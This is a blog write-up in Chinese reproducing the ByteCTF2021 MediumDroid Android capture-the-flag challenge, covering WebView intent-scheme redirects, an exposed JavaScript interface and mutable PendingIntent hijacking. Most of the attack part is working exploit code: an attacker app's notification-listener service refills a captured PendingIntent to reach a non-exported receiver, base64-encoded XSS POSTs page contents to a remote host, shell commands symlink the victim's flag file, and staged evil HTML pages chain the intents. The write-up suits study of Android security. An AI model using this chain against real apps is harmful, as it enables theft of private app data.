ByteCTF2021 MediumDroid复现
依旧学习:ByteCTF2021 MediumDroid复现 | LLeaves Blog
APK分析
AndroidManifest.xml
跟easydroid差不多组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.mediumdroid" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/> <uses-permission android:name="android.permission.INTERNET"/> <application android:theme="@style/Theme.Mediumdroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.bytectf.mediumdroid.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:name="com.bytectf.mediumdroid.TestActivity" android:exported="false"/> <receiver android:name="com.bytectf.mediumdroid.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver> <provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/> </provider> </application> </manifest>
|
MainActivity
跟easydroid一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package com.bytectf.mediumdroid;
import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import java.net.URISyntaxException;
public class MainActivity extends AppCompatActivity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Uri data = getIntent().getData(); if (data == null) { data = Uri.parse("http://app.toutiao.com/"); } if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) { WebView webView = new WebView(getApplicationContext()); webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { Uri uri = Uri.parse(url); if (uri.getScheme().equals("intent")) { try { MainActivity.this.startActivity(Intent.parseUri(url, 1)); } catch (URISyntaxException e) { e.printStackTrace(); } return true; } return super.shouldOverrideUrlLoading(view, url); } }); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); } } }
|
FlagReceiver
跟之前一样接受flag写到一个目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.bytectf.mediumdroid;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; import java.io.File; import java.io.FileWriter; import java.io.IOException;
public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null) { File file = new File(context.getFilesDir(), "flag"); writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } }
private void writeFile(File file, String s) { FileWriter writer = null; try { try { try { writer = new FileWriter(file, true); writer.write(s); writer.write(10); writer.close(); } catch (IOException e) { e.printStackTrace(); if (writer != null) { writer.close(); } } } catch (IOException e2) { e2.printStackTrace(); } } catch (Throwable th) { if (writer != null) { try { writer.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } }
|
TestActivity
这里跟上题不一样的点在于webView.addJavascriptInterface(this, “jsi”);和Te3t方法
addJavascriptInterface的作用
1
| webView.addJavascriptInterface(javaObject, "jsi");
|
意思是:把一个 Java 对象暴露给 WebView 里的 JavaScript 使用
- this → 当前 TestActivity实例
- “jsi” → JavaScript 中访问这个对象的名字
这意味着可以在WebView渲染的网页中使用js调用Android类中的方法,但是前提必须要在可以使用js接口调用的方法前面加上@JavascriptInterface的声明,在该类中的Te3t即为可以使用js接口调用的方法。
Te3t这个方法没有任何权限校验,参数 title / content完全可控
要求是Android 8.0(API 26)后,须先创建 NotificationChannel 才能发通知,”CHANNEL_ID” 是后面 Builder 使用的 channel id,4等价于 IMPORTANCE_HIGH
通知标题,完全由 JS 控制
Te3t 则创建了一条通知,并且在创建通知的过程中使用PendingIntent.getBroadcast(this, 0, new Intent(), 0)), 该PendingIntent将执行一个广播操作,类似于调用Context.sendBroadcast()方法。通过获取这个PendingIntent,可以在任何时候以PendingIntent创建者APP的权限执行这个广播操作,而无需调用sendBroadcast()方法。方法原型public staticPendingIntent getBroadcast (Context context,int requestCode,Intent intent,int flags)
普通 Intent 是什么?sendBroadcast(intent);
立刻发,只能由当前 App 自己发
PendingIntent 是什么?
一个授权凭证, 允许 别的进程 / 系统 在以后以你的 App 身份执行一个 Intent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package com.bytectf.mediumdroid;
import android.app.Activity; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.webkit.JavascriptInterface; import android.webkit.WebView; import androidx.core.app.NotificationCompat; import androidx.core.app.NotificationManagerCompat;
public class TestActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); String url = getIntent().getStringExtra("url"); WebView webView = new WebView(getApplicationContext()); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(this, "jsi"); webView.loadUrl(url); }
@JavascriptInterface public void Te3t(String title, String content) { if (Build.VERSION.SDK_INT >= 26) { NotificationChannel channel = new NotificationChannel("CHANNEL_ID", "CHANNEL_NAME", 4); NotificationManager notificationManager = (NotificationManager) getSystemService(NotificationManager.class); notificationManager.createNotificationChannel(channel); } NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "CHANNEL_ID").setContentTitle(title).setContentText(content).setSmallIcon(R.mipmap.ic_launcher).setContentIntent(PendingIntent.getBroadcast(this, 0, new Intent(), 0)).setAutoCancel(true).setPriority(1); NotificationManagerCompat nm = NotificationManagerCompat.from(this); nm.notify(100, builder.build()); } }
|
PendingIntent
Android 有三种 PendingIntent:
| 方法 |
用途 |
getActivity() |
启动 Activity |
getService() |
启动 Service |
getBroadcast() |
发送广播 |
所以:
1
| PendingIntent.getBroadcast(...)
|
就是创建一个以后会被 sendBroadcast(intent)的凭证
1 2 3 4 5 6
| PendingIntent.getBroadcast( this, 0, new Intent(), 0 )
|
this:Context,表示:以 TestActivity当前 App 的身份
requestCode = 0:用于区分不同 PendingIntent,这里只有一个
new Intent() :这是一个:空 Intent
flags = 0:啥也没有
A组件创建了一个 PendingIntent的对象然后传给 B组件,B 在执行这个 PendingIntent 的 send 时候,它里面的 Intent 会被发送出去,而接受到这个 Intent 的 C 组件会认为是 A 发的。B以A的权限和身份发送了这个Intent。
PendingIntent 是可变的,这意味着应用 B 可以按照 fillIn() 文档中所述的逻辑更新用于指定操作的内部 intent。换言之,恶意应用可能会修改未填充的 PendingIntent 字段,从而允许攻击者访问存在漏洞的应用中原本不支持导出的组件。
PendingIntent 之所以危险,是因为:创建它的 App 没把 Intent 填满,另一个 App 可以用 fillIn() 把空的地方补成恶意内容,然后系统会以原 App 身份执行这个 Intent。
官方定义很绕,我们翻译成一句话:
意思是:用 Intent B 的内容,去“补全” Intent A 中“还没设置的字段”
核心规则只有一条:A 里已经设置过的字段,默认不能被覆盖A 里没设置的字段,可以被 B 填进去
如果其他APP能够修改PendingIntent 封装的Intent 则可能会导致危险的事情发生,例如上文提到的广播,通过修改Intent然后发送广播可能会使被攻击APP未导出的广播接收器收到广播,受到攻击
如果应用以 Android 6(API 级别 23)或更高版本为目标平台,请指定可变性。例如,可以通过使用 FLAG_IMMUTABLE 来防止恶意应用填充未填充的字段:
1 2 3 4 5 6
| PendingIntent pendingIntent = PendingIntent.getActivity( getContext(), 0, new Intent(intentAction), PendingIntent.FLAG_IMMUTABLE);
|
在 Android 11(API 级别 30)及更高版本中,必须指定要将哪些字段设置为可变字段,以缓解此类意外漏洞。
1 2 3 4 5 6 7 8 9
| PendingIntent.getBroadcast(Context context, int requestCode, Intent intent, int flags)
PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags) PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags, Bundle options)
PendingIntent.getService(Context context, int requestCode, Intent intent, int flags)
|
| 方法 |
将来系统替你做的事 |
getActivity() |
startActivity(intent) |
getBroadcast() |
sendBroadcast(intent) |
getService() |
startService(intent) |
getBroadcast()是“提前把 sendBroadcast() 打包成一个凭证,真正发广播的是 sendBroadcast(),只是这个 sendBroadcast()是以后由系统代你执行的。
getActivity()的意思其实是,获取一个PendingIntent对象,而且该对象日后激发时所做的事情是启动一个新activity。也就是说,当它异步激发时,会执行类似Context.startActivity()那样的动作。相应地,getBroadcast()和getService()所获取的PendingIntent对象在激发时,会分别执行类似Context.sendBroadcast()和Context.startService()这样的动作。
PendingIntent 是系统对于待处理数据的一个引用,称之为:token;当主程序被 Killed 时,token 还是会继续存在的,可以继续供其他进程使用。如果要取消 PendingIntent,需要调用PendingIntent 的 cancel 方法。
Bundle options 是启动 Activity 时的额外启动参数,
1 2 3 4 5 6 7 8 9 10 11 12
| int FLAG_CANCEL_CURRENT
int FLAG_NO_CREATE
int FLAG_ONE_SHOT
int FLAG_UPDATE_CURRENT
|
| Flag |
|
FLAG_CANCEL_CURRENT |
有旧的就删掉,重新创建 |
FLAG_NO_CREATE |
只查不建,没有就返回 null |
FLAG_ONE_SHOT |
只能用一次,用完就失效 |
FLAG_UPDATE_CURRENT |
有旧的就复用,并更新 Intent 内容 |
FLAG_CANCEL_CURRENT
1 2
| PendingIntent.getBroadcast(ctx, 0, intentA, FLAG_CANCEL_CURRENT); PendingIntent.getBroadcast(ctx, 0, intentB, FLAG_CANCEL_CURRENT);
|
结果:intentA 对应的 PendingIntent 被取消,intentB 成为新的
FLAG_NO_CREATE
1
| PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, FLAG_NO_CREATE);
|
如果存在 → 返回已有 PendingIntent
如果不存在 → 返回 null
FLAG_ONE_SHOT
1
| PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, FLAG_ONE_SHOT);
|
第一次 send()
第二次 send() (失效)
FLAG_UPDATE_CURRENT
1 2 3 4 5 6 7 8 9
| Intent i1 = new Intent(); i1.putExtra("a", 1);
PendingIntent.getBroadcast(ctx, 0, i1, FLAG_UPDATE_CURRENT);
Intent i2 = new Intent(); i2.putExtra("a", 2);
PendingIntent.getBroadcast(ctx, 0, i2, FLAG_UPDATE_CURRENT);
|
最终:extras = { a = 2 }
攻击方案
跟easydroid一样先要利用MainActivity跳转到TestActivity
然后TestActivity中的webview加载由Intent Scheme Url传入的url,导致下一个恶意html被渲染,该HTML通过js接口调用Te3t触发通知创建PendingIntent
如
1 2 3 4 5
| <html> <script> jsi.Te3t("test","test") </script> </html>
|
在攻击者APP中创建MagicService服务,用于监听通知,在获取到被攻击APP发出的通知后就可以获取到被攻击APP创建的PendingIntent
拿到PendingIntent后即可重新填充Intent,使其的Action设置为com.bytectf.SET_FLAG,并且添加flag参数将值设置为恶意html内容,然后使用send发送广播,当被攻击APP接收到广播后会设置flag,从而将恶意html内容插入到flag中,污染flag文件
1 2 3 4 5
| Intent intent = new Intent(); intent.setAction("com.bytectf.SET_FLAG"); intent.setPackage("com.bytectf.mediumdroid"); String html = "<img src=\"x\" onerror=\"eval(atob('eGhyPW5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8veHgueHh4Lnh4eC54eHg6eHh4JywgdHJ1ZSk7IHhoci5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7IHhoci5zZW5kKCdodG1sPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Lm91dGVySFRNTCkpOw=='))\">"; intent.putExtra("flag","<html>" + html + "</html");
|
当恶意代码被注入到flag中后在攻击者APP的数据目录创建软链接 symlink.html,指向被污染的flag,而第一步中的恶意html会再设置一个Intent跳转延迟执行,这个Intent与前者不同点就是S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html ,从而导致在TestActivity中再次通过WebView加载url时渲染symlink.html ,这导致被污染的flag文件被渲染,从而触发注入到flag中的恶意代码,将内容传送到远程
1 2 3 4 5 6
| <script> location.href="intent:dsad#Intent;package=com.bytectf.mediumdroid;component=com.bytectf.mediumdroid/.TestActivity;S.url=http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fevil4.html;end" function jump2(){ location.href="intent:dsad#Intent;package=com.bytectf.mediumdroid;component=com.bytectf.mediumdroid/.TestActivity;S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html;end" } setTimeout(jump2, 12000); </script>
|
构建攻击APP
MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class MainActivity extends AppCompatActivity { public static Intent tmpIntent = null;
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);
startService(new Intent(this, MagicService.class));
Intent intent = new Intent(); intent.setClassName("com.bytectf.mediumdroid","com.bytectf.mediumdroid.MainActivity"); intent.setData(Uri.parse("http://toutiao.com@xxx.xxx.xxx.xxx/evil3.html")); Log.d("TEST",intent.toUri(Intent.URI_INTENT_SCHEME)); startActivity(intent); } }
|
MagicService = NotificationListenerService
用来监听系统通知,拿到通知里的PendingIntent
evil.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!doctype html> <html> <head> <meta charset="utf-8" /> <title>evil3</title> </head> <body> <script> location.href = "intent://test#Intent;" + "component=com.bytectf.mediumdroid/.TestActivity;" + "S.url=http%3A%2F%2Fxxx%2Fevil2.html;" + "end"; setTimeout(function () { location.href = "intent://test#Intent;" + "component=com.bytectf.mediumdroid/.TestActivity;" + "S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html;" + "end"; }, 3000); </script> </body> </html>
|
先跳到 TestActivity,让它加载第二阶段页面
注意:LLeaves博客里提到 S.url 里的 "http://"" 的 "://"" 最好编码,否则可能被转 https,把 "http://1.2.3.4/evil2.html" 编成 "http%3A%2F%2F1.2.3.4%2Fevil2.html"
延迟再跳一次 TestActivity,让它加载 file:// 的 symlink.html(指向被污染 flag)
AndroidManifest.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" tools:ignore="ProtectedPermissions" />
<application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Mediumdroid" android:usesCleartextTraffic="true"> <service android:name=".MagicService" android:enabled="true" android:exported="true"></service>
<activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application>
</manifest>
|
BIND_NOTIFICATION_LISTENER_SERVICE
这是一个 系统级高权限:
允许 App 绑定并运行 NotificationListenerService
监听系统中 所有通知
拿到:
- Notification 对象
- Notification 里的 PendingIntent
- 包名 / 内容 / Action
tools:ignore=”ProtectedPermissions”
- 这是 受保护权限
- 普通 App 在 Manifest 里声明会被 lint 报警告
- 只影响编译期检查,不影响系统行为
没有 NotificationListenerService,无法send和修改PendingIntent
1 2 3
| .setContentIntent( PendingIntent.getBroadcast(this, 0, new Intent(), 0) )
|
这个 PendingIntent,被塞进了 Notification,只存在于系统的 NotificationManager 里,不在Intent文件,Binder 接口,公共 API,默认对其他 App 完全不可见
普通 App 能做到的:发通知(自己发的),清除通知(自己发的)
普通 App做不到的:读取其他 App 的通知内容,访问通知里的 PendingIntent,Hook 系统通知列表
NotificationListenerService 是Android 给系统级通知管理 App开的后门:
1 2
| public class MagicService extends NotificationListenerService
|
这是唯一合法拿到别的 App 通知里的 PendingIntent的方式
MagicService
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package com.bytectf.pwnmediumdroid;
import android.app.PendingIntent; import android.app.Service; import android.content.Intent; import android.os.Bundle; import android.os.IBinder; import android.service.notification.NotificationListenerService; import android.service.notification.StatusBarNotification; import android.util.Log;
import java.io.IOException;
public class MagicService extends NotificationListenerService { public MagicService() { Log.d("Evil","SeviceStart"); }
@Override public void onListenerConnected() { Log.d("Evil","onListenerConnected"); super.onListenerConnected(); }
public void createSymlink() throws IOException, InterruptedException { String dataDir = "/data/data/" + getPackageName(); Runtime.getRuntime().exec("rm -rf " + dataDir + "/files").waitFor(); Runtime.getRuntime().exec("mkdir " + dataDir + "/files").waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor(); Runtime.getRuntime().exec("ln -s " + "/data/data/com.bytectf.mediumdroid/files/flag" + " " + dataDir + "/files/symlink.html").waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor(); }
@Override public void onNotificationPosted(StatusBarNotification sbn) { super.onNotificationPosted(sbn); Log.d("Evil","onNotificationPosted"); PendingIntent pendingIntent = sbn.getNotification().contentIntent; Log.d("Evil","Get PendingIntent" + pendingIntent);
Intent intent = new Intent(); intent.setAction("com.bytectf.SET_FLAG"); intent.setPackage("com.bytectf.mediumdroid"); String html = "<img src=\"x\" onerror=\"evaeGhyPW5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8veHh4Lnh4eC54eHgueHh4Onh4eCcsIHRydWUpOyB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOyB4aHIuc2VuZCgnaHRtbD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUwpKTs='))\">"; intent.putExtra("flag","<html>" + html + "</html");
try { pendingIntent.send(this, 0, intent, new PendingIntent.OnFinished() { @Override public void onSendFinished(PendingIntent pendingIntent, Intent intent, int i, String s, Bundle bundle) { Log.d("Evil","onSendFinished"); try { createSymlink(); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } } }, null); } catch (PendingIntent.CanceledException e) { e.printStackTrace(); }
}
@Override public IBinder onBind(Intent intent) { Log.d("evil","onBind" ); return super.onBind(intent); }
@Override public void onNotificationRemoved(StatusBarNotification sbn) { Log.d("evil","onNotificationRemoved" ); super.onNotificationRemoved(sbn); } }
|
用来 监听 MediumDroid 发出的通知 → 拿到通知里的 PendingIntent → 篡改 Intent → 以 MediumDroid 身份发送广播 → 触发 FlagReceiver 写 flag → 再制造 symlink 读取 flag。
createSymlink:在攻击 App 自己的私有目录里,创建一个指向 MediumDroid flag 文件的符号链接
onNotificationPosted:任何 App 发通知,都会触发,
1 2 3
| Intent intent = new Intent(); intent.setAction("com.bytectf.SET_FLAG"); intent.setPackage("com.bytectf.mediumdroid");
|
指定:action = FlagReceiver 的 action,package = MediumDroid
目标:触发非 exported 的 FlagReceiver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| MediumDroid TestActivity ↓ Te3t() 发通知(带空 PendingIntent) ↓ MagicService.onNotificationPosted() ↓ 拿到 PendingIntent ↓ fillIn(action + extras) ↓ pendingIntent.send() ↓ MediumDroid FlagReceiver 被触发 ↓ flag 文件被写成恶意 HTML ↓ onSendFinished() ↓ createSymlink() ↓ WebView 加载 symlink.html ↓ 读取 / 外带 flag
|

这里还需要设置一下
要去系统设置里打开通知监听权限:
设置 → Apps & notifications(或 Notifications)→ Special app access → Notification access →

注意你如果想要持续攻击 切换你编码的那一块的话一定要把之前的攻击删掉再进行

此外不太建议使用
1
| xhr.send('html=' + encodeURIComponent(document.documentElement.outerHTML));
|
有时无法读出flag 因为需要解析HTML元素
推荐使用
1
| xhr=new XMLHttpRequest(); xhr.open('POST', 'http://xxxxxx:4080', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('html=' + encodeURIComponent(document.documentElement.innerText));
|